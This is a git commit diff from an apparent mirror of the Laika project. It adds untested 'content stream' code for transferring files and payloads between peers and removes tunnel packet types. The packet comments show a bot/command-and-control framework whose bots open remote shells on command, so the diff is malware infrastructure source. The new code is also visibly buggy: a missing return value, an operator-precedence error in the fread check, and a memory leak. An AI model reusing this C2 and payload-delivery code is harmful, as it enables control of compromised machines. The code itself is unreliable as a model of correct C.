mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-10-31 02:20:21 +00:00 
			
		
		
		
	Lib: Added content stream boilerplate
- code is untested
This commit is contained in:
		
							
								
								
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							| @@ -3,5 +3,3 @@ debug | ||||
| bin | ||||
| .vscode | ||||
| lconfig.h | ||||
| lcontent.c | ||||
| lcontent.h | ||||
|   | ||||
							
								
								
									
										46
									
								
								lib/include/lcontent.h
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										46
									
								
								lib/include/lcontent.h
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,46 @@ | ||||
| #ifndef LAIKA_CONTENT_H | ||||
| #define LAIKA_CONTENT_H | ||||
|  | ||||
| #include "lpeer.h" | ||||
|  | ||||
| #include <stdio.h> | ||||
| #include <inttypes.h> | ||||
|  | ||||
| enum { | ||||
|     CONTENT_FILE, | ||||
|     CONTENT_PAYLOAD | ||||
| }; | ||||
|  | ||||
| enum { | ||||
|     CONTENT_ERR_ID_IN_USE, | ||||
|     CONTENT_ERR_INVALID_ID | ||||
| }; | ||||
|  | ||||
| typedef uint8_t CONTENT_TYPE; | ||||
| typedef uint8_t CONTENT_ERRCODE; | ||||
|  | ||||
| struct sLaika_content { | ||||
|     FILE *fd; | ||||
|     uint32_t sz; /* content size */ | ||||
|     uint32_t processed; | ||||
|     uint16_t id; | ||||
|     CONTENT_TYPE type; | ||||
|     struct sLaika_content *next; | ||||
| }; | ||||
|  | ||||
| struct sLaika_contentContext { | ||||
|     struct sLaika_peer *peer; | ||||
|     struct sLaika_content *headIn; /* receiving from peer */ | ||||
|     struct sLaika_content *headOut; /* sending to peer */ | ||||
|     uint16_t nextID; | ||||
| }; | ||||
|  | ||||
| void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer); | ||||
| void laikaF_cleanContext(struct sLaika_contentContext *context); | ||||
|  | ||||
| int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type); | ||||
| void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type); | ||||
|  | ||||
| void laikaF_poll(struct sLaika_contentContext *context); | ||||
|  | ||||
| #endif | ||||
| @@ -58,30 +58,6 @@ enum { | ||||
|     /* layout of LAIKAPKT_PINGPONG: | ||||
|     *   NULL (empty packet) | ||||
|     */ | ||||
|     LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */ | ||||
|     /* layout of LAIKAPKT_TUNNEL_OPEN: | ||||
|     *   uint16_t port; | ||||
|     */ | ||||
|     LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */ | ||||
|     /* layout of LAIKAPKT_TUNNEL_CLOSE: | ||||
|     *   uint16_t port; | ||||
|     */ | ||||
|     LAIKAPKT_TUNNEL_CONNECTION_ADD, | ||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD: | ||||
|     *   uint16_t port; | ||||
|     *   uint16_t id; | ||||
|     */ | ||||
|     LAIKAPKT_TUNNEL_CONNECTION_RMV, | ||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: | ||||
|     *   uint16_t port; | ||||
|     *   uint16_t id; | ||||
|     */ | ||||
|     LAIKAPKT_TUNNEL_CONNECTION_DATA, | ||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: | ||||
|     *   uint16_t port; | ||||
|     *   uint16_t id; | ||||
|     *   uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id | ||||
|     */ | ||||
|     LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ | ||||
|     /* layout of LAIKAPKT_SHELL_OPEN: | ||||
|     *   uint32_t id; // this field is absent from the panel/auth client | ||||
| @@ -95,7 +71,23 @@ enum { | ||||
|     LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ | ||||
|     /* layout of LAIKAPKT_SHELL_DATA | ||||
|     *   uint32_t id; // this field is absent from the panel/auth client | ||||
|     *   char buf[VAR_PACKET_LENGTH]; | ||||
|     *   char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; | ||||
|     */ | ||||
|     LAIKAPKT_CONTENT_NEW, | ||||
|     /* layout of LAIKAPKT_CONTENT_NEW: | ||||
|     *   uint16_t id; | ||||
|     *   uint32_t sz; | ||||
|     *   uint8_t type; | ||||
|     */ | ||||
|     LAIKAPKT_CONTENT_ERROR, | ||||
|     /* layout of LAIKAPKT_CONTENT_ERROR: | ||||
|     *   uint16_t id; | ||||
|     *   uint8_t errCode; | ||||
|     */ | ||||
|     LAIKAPKT_CONTENT_CHUNK, /* variadic */ | ||||
|     /* layout of LAIKAPKT_CONTENT_CHUNK: | ||||
|     *   uint16_t id; | ||||
|     *   uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)]; | ||||
|     */ | ||||
| /* ==================================================[[ Auth ]]================================================== */ | ||||
|     LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ | ||||
|   | ||||
							
								
								
									
										153
									
								
								lib/src/lcontent.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										153
									
								
								lib/src/lcontent.c
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,153 @@ | ||||
| #include "lcontent.h" | ||||
| #include "lmem.h" | ||||
| #include "lerror.h" | ||||
|  | ||||
| #include "lsocket.h" | ||||
| #include "lpeer.h" | ||||
|  | ||||
| size_t getSize(FILE *fd) { | ||||
|     size_t sz; | ||||
|     fseek(fd, 0L, SEEK_END); | ||||
|     sz = ftell(fd); | ||||
|     fseek(fd, 0L, SEEK_SET); | ||||
|     return sz; | ||||
| } | ||||
|  | ||||
| bool isValidID(struct sLaika_contentContext *context, uint16_t id) { | ||||
|     struct sLaika_content *curr = context->headIn; | ||||
|  | ||||
|     while (curr) { | ||||
|         if (curr->id == id)  | ||||
|             return true; | ||||
|  | ||||
|         curr = curr->next; | ||||
|     } | ||||
|  | ||||
|     return false; | ||||
| } | ||||
|  | ||||
| void freeContent(struct sLaika_content *content) { | ||||
|     fclose(content->fd); | ||||
|     laikaM_free(content); | ||||
| } | ||||
|  | ||||
| void rmvFromOut(struct sLaika_contentContext *context, struct sLaika_content *content) { | ||||
|     struct sLaika_content *last = NULL, *curr = context->headOut; | ||||
|  | ||||
|     while (curr) { | ||||
|         /* if found, remove it! */ | ||||
|         if (curr == content) { | ||||
|             if (last) | ||||
|                 last->next = curr->next; | ||||
|             else | ||||
|                 context->headOut = curr->next; | ||||
|  | ||||
|             freeContent(curr); | ||||
|             break; | ||||
|         } | ||||
|  | ||||
|         last = curr; | ||||
|         curr = curr->next; | ||||
|     } | ||||
| } | ||||
|  | ||||
| void sendContentError(struct sLaika_peer *peer, uint16_t id, CONTENT_ERRCODE err) { | ||||
|     laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR); | ||||
|     laikaS_writeInt(&peer->sock, &id, sizeof(uint16_t)); | ||||
|     laikaS_writeByte(&peer->sock, err); | ||||
|     laikaS_endOutPacket(peer); | ||||
| } | ||||
|  | ||||
| void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer) { | ||||
|     context->peer = peer; | ||||
|     context->headIn = NULL; | ||||
|     context->headOut = NULL; | ||||
|     context->nextID = 0; | ||||
| } | ||||
|  | ||||
| void laikaF_cleanContext(struct sLaika_contentContext *context) { | ||||
|     struct sLaika_content *tmp, *curr; | ||||
|  | ||||
|     /* free IN list */ | ||||
|     curr = context->headIn; | ||||
|     while (curr) { | ||||
|         tmp = curr->next; | ||||
|         freeContent(curr); | ||||
|         curr = tmp; | ||||
|     } | ||||
|  | ||||
|     /* free OUT list */ | ||||
|     curr = context->headOut; | ||||
|     while (curr) { | ||||
|         tmp = curr->next; | ||||
|         freeContent(curr); | ||||
|         curr = tmp; | ||||
|     } | ||||
| } | ||||
|  | ||||
| int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type) { | ||||
|     struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); | ||||
|     struct sLaika_peer *peer = context->peer; | ||||
|  | ||||
|     /* init content struct */ | ||||
|     content->fd = fd; | ||||
|     content->sz = getSize(fd); | ||||
|     content->processed = 0; | ||||
|     content->id = context->nextID++; | ||||
|     content->type = type; | ||||
|  | ||||
|     /* add to list */ | ||||
|     content->next = context->headOut; | ||||
|     context->headOut = content; | ||||
|  | ||||
|     /* let the peer know we're sending them some content */ | ||||
|     laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW); | ||||
|     laikaS_writeInt(&peer->sock, &content->id, sizeof(uint16_t)); | ||||
|     laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t)); | ||||
|     laikaS_writeByte(&peer->sock, type); | ||||
|     laikaS_endOutPacket(peer); | ||||
| } | ||||
|  | ||||
| void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type) { | ||||
|     struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); | ||||
|  | ||||
|     if (isValidID(context, id)) { | ||||
|         sendContentError(context->peer, id, CONTENT_ERR_ID_IN_USE); | ||||
|         LAIKA_ERROR("ID [%d] is in use!\n", id); | ||||
|     } | ||||
|  | ||||
|     content->fd = tmpfile(); | ||||
|     content->sz = sz; | ||||
|     content->processed = 0; | ||||
|     content->id = id; | ||||
|     content->type = type; | ||||
|  | ||||
|     /* add to list */ | ||||
|     content->next = context->headIn; | ||||
|     context->headIn = content; | ||||
| } | ||||
|  | ||||
| void laikaF_poll(struct sLaika_contentContext *context) { | ||||
|     uint8_t buff[LAIKA_MAX_PKTSIZE-sizeof(uint16_t)]; | ||||
|     struct sLaika_peer *peer = context->peer; | ||||
|     struct sLaika_content *tmp, *curr = context->headOut; | ||||
|     int rd; | ||||
|  | ||||
|     /* traverse our out content, sending each chunk */ | ||||
|     while (curr) { | ||||
|         /* if we've reached the end of the file stream, remove it! */ | ||||
|         if (rd = fread(buff, sizeof(uint8_t), (curr->sz - curr->processed > (LAIKA_MAX_PKTSIZE-sizeof(uint16_t)) ? LAIKA_MAX_PKTSIZE-sizeof(uint16_t) : curr->sz - curr->processed), curr->fd) == 0) { | ||||
|             tmp = curr->next; | ||||
|             rmvFromOut(context, curr); | ||||
|             curr = tmp; | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK); | ||||
|         laikaS_writeInt(&peer->sock, &curr->id, sizeof(uint16_t)); | ||||
|         laikaS_write(&peer->sock, buff, rd); | ||||
|         laikaS_endVarPacket(peer); | ||||
|  | ||||
|         curr = curr->next; | ||||
|     } | ||||
| } | ||||
| @@ -7,19 +7,16 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) { | ||||
|         "LAIKAPKT_HANDSHAKE_REQ", | ||||
|         "LAIKAPKT_HANDSHAKE_RES", | ||||
|         "LAIKAPKT_PINGPONG", | ||||
|         "LAIKAPKT_TUNNEL_OPEN", | ||||
|         "LAIKAPKT_TUNNEL_CLOSE", | ||||
|         "LAIKAPKT_TUNNEL_CONNECTION_ADD", | ||||
|         "LAIKAPKT_TUNNEL_CONNECTION_RMV", | ||||
|         "LAIKAPKT_TUNNEL_CONNECTION_DATA", | ||||
|         "LAIKAPKT_SHELL_OPEN", | ||||
|         "LAIKAPKT_SHELL_CLOSE", | ||||
|         "LAIKAPKT_SHELL_DATA", | ||||
|         "LAIKAPKT_CONTENT_NEW", | ||||
|         "LAIKAPKT_CONTENT_ERROR", | ||||
|         "LAIKAPKT_CONTENT_CHUNK", | ||||
|         "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", | ||||
|         "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", | ||||
|         "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", | ||||
|         "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ", | ||||
|         "LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ" | ||||
|         "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ" | ||||
|     }; | ||||
|  | ||||
|     return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; | ||||
|   | ||||
		Reference in New Issue
	
	Block a user